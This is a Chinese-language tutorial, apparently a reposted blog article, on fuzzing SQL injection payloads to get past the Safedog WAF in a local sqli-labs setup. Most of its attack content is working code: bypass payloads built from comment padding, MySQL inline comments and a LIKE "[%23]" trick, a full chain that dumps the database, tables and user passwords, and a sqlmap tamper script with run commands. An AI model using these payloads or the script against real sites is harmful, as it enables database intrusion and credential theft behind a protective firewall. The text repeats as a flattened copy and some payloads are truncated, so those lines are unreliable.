从SQL注入绕过最新安全狗WAF中学习fuzz
字数 1329 2025-08-27 12:33:37

SQL注入绕过安全狗WAF的Fuzz技术研究

前言

本文详细记录了通过Fuzz技术绕过最新版安全狗WAF的SQL注入实战过程,旨在帮助安全研究人员提升SQL注入能力。文章基于本地测试环境(Windows 11 + phpStudy 2018 + sqli-labs)进行实验。

环境配置

必要组件

  • 操作系统:Windows 11
  • 集成环境:phpStudy 2018
  • 靶场环境:sqli-labs
  • WAF防护:安全狗Apache版

安装注意事项

  1. 安装顺序至关重要

    • 必须先安装Apache 2.4
    • 后安装安全狗Apache版
  2. Apache 2.4安装命令:

d:
cd D:\phpStudy\PHPTutorial\Apache\bin
httpd -k install -n apache2.4
  1. 安全狗安装后验证:
    • 确保"网站安全狗"与"防护总开关"均已开启
    • phpStudy启动后应自动变为系统服务
    • 防护网站数量显示为1表示配置成功

基础绕过技术

1=1等价测试绕过

初始测试

  • 1=1 → 被拦截
  • true=true → 被拦截

绕过方法一(注释符填充)

  • 构造payload:id=1' and/*////*/1 --+
  • 原理:利用/* */注释符中添加特殊字符绕过空格检测

绕过方法二(内联注释)

  • MySQL内联注释特性:
    select /*!000001*/;  -- 执行
    select /*!999991*/;  -- 报错
    
  • 构造payload:/*!000001*/=/*!000001*/

ORDER BY绕过

初始测试

  • order by → 被拦截

绕过方法

  • 构造payload:
    id=1' order/*////*/by 3 --+
    id=1' order/*////*/by 4 --+
    
  • 通过响应差异判断字段数

联合查询绕过

初始测试

  • union select → 被拦截

绕过方法

  1. 暴力破解可用的分隔符:

    • 使用Burp Suite对union/select中的/进行Fuzz测试
    • 发现多种可用的分隔符组合
  2. 有效payload示例:

    id=-1' union/select 1,2,3--+
    id=-1' union/select 1,2,3--+
    id=-1' union/select 1,2,3--+
    

信息获取技术

数据库名获取

方法一(注释符填充)

  • 构造payload:id=-1' union/select 1,2,database/

方法二(内联注释)

  • 构造payload:id=-1' union/select 1,2,database/*!20553()*/--+

表名获取

绕过information_schema过滤

  • 常规语句被拦截:information_schema.tables
  • 绕过方法:
    ?id=-1' union/select%201,2,group_concat(table_name)from/0ainformation_schema.tables*/ where table_schema='security'--+
    
  • 关键技巧:使用/*!%23%0a*//*!%23/*%0a*/形式的内联注释

列名获取

payload构造

?id=-1' union/select%201,2,group_concat(column_name)from/0ainformation_schema.columns*/ where table_name='users'--+

字段数据获取

payload构造

?id=-1' union/select%201,2,group_concat(id,password)from/0ausers*/--+

高级绕过技术

LIKE["%23"]技术

原理

select * from users where id=1 like "[%23]";  -- 返回空集
select * from users where id=1 like "[%23]" union select * from users;  -- 等效于select * from users

应用payload

  1. 基础绕过:
    id=-1' like "[%23]" /*!10440union select*/ 1,2,3 --+
    
  2. 换行符绕过:
    id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
    

完整利用链

-- 爆库
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,database/0a(

-- 爆表
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(table_name)from/0ainformation_schema.tables */where table_schema='security'--+

-- 爆列
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(column_name)from/0ainformation_schema.columns */where table_name='users'--+

-- 爆字段
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(id,username,password)from/0ausers*/--+

SQLMap Tamper脚本

#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:quan9i.top
"""
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
    payload=payload.replace('AND','/*!10000AND*/')
    payload=payload.replace('OR','/*!10000OR*/')
    payload=payload.replace('ORDER BY','ORDER/*////*/BY')
    payload=payload.replace('UNION SELECT','UNION/SELECT')
    payload=payload.replace('information_schema.tables','/*!%23%0ainformation_schema.tables*/')
    return payload

使用示例

# 检测可注入类型
python sqlmap.py -u http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1 --tamper=dog

# 破解数据库
python sqlmap.py -u http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1 --dbs --tamper=dog -v5

总结

本文详细记录了多种绕过安全狗WAF的SQL注入技术,关键点包括:

  1. 注释符填充技术(/*xxxx*/
  2. MySQL内联注释特性(/*!xxxxx*/
  3. 换行符和特殊字符组合绕过
  4. LIKE["%23"]空集技术
  5. 针对information_schema的特殊处理

这些技术不仅适用于安全狗WAF,其原理也可应用于其他WAF的绕过场景。安全研究人员应理解这些技术的本质,而非简单复制payload,才能应对不断发展的WAF防护措施。

SQL注入绕过安全狗WAF的Fuzz技术研究 前言 本文详细记录了通过Fuzz技术绕过最新版安全狗WAF的SQL注入实战过程,旨在帮助安全研究人员提升SQL注入能力。文章基于本地测试环境(Windows 11 + phpStudy 2018 + sqli-labs)进行实验。 环境配置 必要组件 操作系统:Windows 11 集成环境:phpStudy 2018 靶场环境:sqli-labs WAF防护:安全狗Apache版 安装注意事项 安装顺序至关重要 : 必须先安装Apache 2.4 后安装安全狗Apache版 Apache 2.4安装命令: 安全狗安装后验证: 确保"网站安全狗"与"防护总开关"均已开启 phpStudy启动后应自动变为系统服务 防护网站数量显示为1表示配置成功 基础绕过技术 1=1等价测试绕过 初始测试 : 1=1 → 被拦截 true=true → 被拦截 绕过方法一(注释符填充) : 构造payload: id=1' and/*////*/1 --+ 原理:利用 /* */ 注释符中添加特殊字符绕过空格检测 绕过方法二(内联注释) : MySQL内联注释特性: 构造payload: /*!000001*/=/*!000001*/ ORDER BY绕过 初始测试 : order by → 被拦截 绕过方法 : 构造payload: 通过响应差异判断字段数 联合查询绕过 初始测试 : union select → 被拦截 绕过方法 : 暴力破解可用的分隔符: 使用Burp Suite对 union/select 中的 / 进行Fuzz测试 发现多种可用的分隔符组合 有效payload示例: 信息获取技术 数据库名获取 方法一(注释符填充) : 构造payload: id=-1' union/select 1,2,database/ 方法二(内联注释) : 构造payload: id=-1' union/select 1,2,database/*!20553()*/--+ 表名获取 绕过information_ schema过滤 : 常规语句被拦截: information_schema.tables 绕过方法: 关键技巧:使用 /*!%23%0a*/ 或 /*!%23/*%0a*/ 形式的内联注释 列名获取 payload构造 : 字段数据获取 payload构造 : 高级绕过技术 LIKE[ "%23" ]技术 原理 : 应用payload : 基础绕过: 换行符绕过: 完整利用链 : SQLMap Tamper脚本 使用示例 : 总结 本文详细记录了多种绕过安全狗WAF的SQL注入技术,关键点包括: 注释符填充技术( /*xxxx*/ ) MySQL内联注释特性( /*!xxxxx*/ ) 换行符和特殊字符组合绕过 LIKE[ "%23" ]空集技术 针对information_ schema的特殊处理 这些技术不仅适用于安全狗WAF,其原理也可应用于其他WAF的绕过场景。安全研究人员应理解这些技术的本质,而非简单复制payload,才能应对不断发展的WAF防护措施。